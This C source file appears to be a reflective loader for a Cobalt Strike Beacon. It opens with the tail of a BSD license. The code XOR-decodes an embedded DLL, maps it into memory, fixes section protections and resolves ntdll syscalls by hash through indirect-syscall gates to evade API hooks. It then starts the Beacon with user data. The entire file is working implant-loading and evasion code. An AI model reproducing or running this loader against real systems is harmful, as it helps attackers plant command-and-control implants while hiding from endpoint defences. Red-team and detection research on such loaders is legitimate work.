* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include "beacon.h"
#include "gate.h"
#include "tcg.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count);
#define NTDLL_HASH 0x3CFA685D
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
#define GETRESOURCE(x) (char *)&x
char _DLL_[0] __attribute__((section("dll")));
char _KEY_[0] __attribute__((section("key")));
typedef struct {
int length;
char value[];
} RESOURCE;
typedef struct _PEB_LDR_DATA {
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct __PEB {
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
} _PEB, * _PPEB;
char * resolve(DWORD modHash, DWORD funcHash) {
char * hModule = (char *)findModuleByHash(modHash);
return findFunctionByHash(hModule, funcHash);
}
void ResolveSyscallEntry(PVOID ntdll, PVOID func, SYSCALL_API_ENTRY * entry)
{
SYSCALL_GATE gate;
memset(&gate, 0, sizeof(SYSCALL_GATE));
if (GetSyscall(ntdll, func, &gate))
{
entry->fnAddr = func;
entry->sysnum = gate.ssn;
entry->jmpAddr = gate.jmpAddr;
}
}
void ResolveSyscalls(SYSCALL_API * syscalls)
{
char * ntdll = findModuleByHash(NTDLL_HASH);
/* get all the supported Nt functions */
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD33BCABD), &syscalls->ntAllocateVirtualMemory);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x8C394D89), &syscalls->ntProtectVirtualMemory);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xDB63B5AB), &syscalls->ntFreeVirtualMemory);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE935E393), &syscalls->ntGetContextThread);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x6935E395), &syscalls->ntSetContextThread);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xC54A46C8), &syscalls->ntResumeThread);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x4D1DEB74), &syscalls->ntCreateThreadEx);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xF0CA9CA0), &syscalls->ntOpenProcess);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x59651E8C), &syscalls->ntOpenThread);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xDCD44C5F), &syscalls->ntClose);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x5BB29BCB), &syscalls->ntCreateSection);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD5159B94), &syscalls->ntMapViewOfSection);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xF21037D0), &syscalls->ntUnmapViewOfSection);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x4F138492), &syscalls->ntQueryVirtualMemory);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB55C7785), &syscalls->ntDuplicateObject);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x3AEFA5AA), &syscalls->ntReadVirtualMemory);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xC5108CC2), &syscalls->ntWriteVirtualMemory);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x84FCD516), &syscalls->ntReadFile);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x680E1933), &syscalls->ntWriteFile);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x3888F9D), &syscalls->ntCreateFile);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x52E9A746), &syscalls->ntQueueApcThread);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB9C75AD6), &syscalls->ntCreateProcess);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x5992A97F), &syscalls->ntOpenProcessToken);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB163D6A2), &syscalls->ntTestAlert);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x234A15E3), &syscalls->ntSuspendProcess);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x32ADFBCA), &syscalls->ntResumeProcess);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE4E1CAD6), &syscalls->ntQuerySystemInformation);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x6EF04C50), &syscalls->ntQueryDirectoryFile);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x814EF02C), &syscalls->ntSetInformationProcess);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE3D6909C), &syscalls->ntSetInformationThread);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB10FD839), &syscalls->ntQueryInformationProcess);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD83695), &syscalls->ntQueryInformationThread);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x92B5DD95), &syscalls->ntOpenSection);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xECDFDBE5), &syscalls->ntAdjustPrivilegesToken);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x8408DD38), &syscalls->ntDeviceIoControlFile);
ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x2DAAD6F4), &syscalls->ntWaitForMultipleObjects);
}
void ResolveRtlFunctions(RTL_API * rtls)
{
char * ntdll = findModuleByHash(NTDLL_HASH);
rtls->rtlDosPathNameToNtPathNameUWithStatusAddr = findFunctionByHash(ntdll, 0x78D569C0);
rtls->rtlFreeHeapAddr = findFunctionByHash(ntdll, 0xDA12B8);
/* rtlGetProcessHeapAddr is set to the ProcessHeap address from the PEB */
_PEB * pPEB = (_PEB *)__readgsqword(0x60);
rtls->rtlGetProcessHeapAddr = (void *)pPEB->lpProcessHeap;
}
ALLOCATED_MEMORY_LABEL GetLabelFromSectionHeader(IMAGE_SECTION_HEADER * sectionHdr)
{
if (MSVCRT$strncmp((char *)sectionHdr->Name, ".text", IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_TEXT;
}
else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_RDATA;
}
else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".data", IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_DATA;
}
else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".pdata", IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_PDATA;
}
else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".reloc", IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_RELOC;
}
else {
return LABEL_EMPTY;
}
}
void FixSectionPermissions(DLLDATA * dll, char * dst, ALLOCATED_MEMORY_REGION * region)
{
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
DWORD sectionSize = 0;
DWORD newProtection = 0;
DWORD oldProtection = 0;
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int i = 0; i < numberOfSections; i++)
{
sectionDst = dst + sectionHdr->VirtualAddress;
sectionSize = sectionHdr->SizeOfRawData;
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
newProtection = PAGE_WRITECOPY;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
newProtection = PAGE_READONLY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
newProtection = PAGE_READWRITE;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
newProtection = PAGE_EXECUTE;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtection = PAGE_EXECUTE_WRITECOPY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtection = PAGE_EXECUTE_READ;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
newProtection = PAGE_EXECUTE_READWRITE;
}
KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtection, &oldProtection);
region->Sections[i].Label = GetLabelFromSectionHeader(sectionHdr);
region->Sections[i].BaseAddress = sectionDst;
region->Sections[i].VirtualSize = sectionSize;
region->Sections[i].CurrentProtect = newProtection;
region->Sections[i].PreviousProtect = newProtection;
region->Sections[i].MaskSection = TRUE;
sectionHdr++;
}
}
void go()
{
IMPORTFUNCS funcs;
funcs.LoadLibraryA = LoadLibraryA;
funcs.GetProcAddress = GetProcAddress;
/* get the masked dll and key */
RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_);
RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_);
/* unmask and load into memory */
char * src = (char *)KERNEL32$VirtualAlloc(NULL, dll->length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
for (int i = 0; i < dll->length; i++) {
src[i] = dll->value[i] ^ key->value[i % key->length];
}
/* parse beacon headers */
DLLDATA data;
ParseDLL(src, &data);
/* load it into new memory */
char * dst = (char *)KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LoadDLL(&data, src, dst);
ProcessImports(&funcs, &data, dst);
/* initialise bud */
USER_DATA bud;
SYSCALL_API syscalls;
RTL_API rtlFunctions;
ALLOCATED_MEMORY memory;
memset(&bud, 0, sizeof(USER_DATA));
memset(&syscalls, 0, sizeof(SYSCALL_API));
memset(&rtlFunctions, 0, sizeof(RTL_API));
memset(&memory, 0, sizeof(ALLOCATED_MEMORY));
bud.version = COBALT_STRIKE_VERSION;
bud.syscalls = &syscalls;
bud.rtls = &rtlFunctions;
bud.allocatedMemory = &memory;
/* fix section memory permissions */
FixSectionPermissions(&data, dst, &bud.allocatedMemory->AllocatedMemoryRegions[0]);
/* define cleanup information for VirtualAlloc */
ALLOCATED_MEMORY_CLEANUP_INFORMATION vaCleanup;
memset(&vaCleanup, 0, sizeof(ALLOCATED_MEMORY_CLEANUP_INFORMATION));
vaCleanup.AllocationMethod = METHOD_VIRTUALALLOC;
vaCleanup.Cleanup = TRUE;
/* set the region info for beacon */
bud.allocatedMemory->AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY;
bud.allocatedMemory->AllocatedMemoryRegions[0].AllocationBase = dst;
bud.allocatedMemory->AllocatedMemoryRegions[0].RegionSize = data.NtHeaders->OptionalHeader.SizeOfImage;
bud.allocatedMemory->AllocatedMemoryRegions[0].Type = MEM_PRIVATE;
bud.allocatedMemory->AllocatedMemoryRegions[0].CleanupInformation = vaCleanup;
/* resolve syscall info */
ResolveSyscalls(&syscalls);
ResolveRtlFunctions(&rtlFunctions);
/* get the entry point */
DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst);
/* free the unmasked copy */
KERNEL32$VirtualFree(src, 0, MEM_RELEASE);
/* call entry point */
entryPoint((HINSTANCE)0, DLL_BEACON_USER_DATA, &bud);
entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
entryPoint((HINSTANCE)GETRESOURCE(go), DLL_BEACON_START, NULL);
}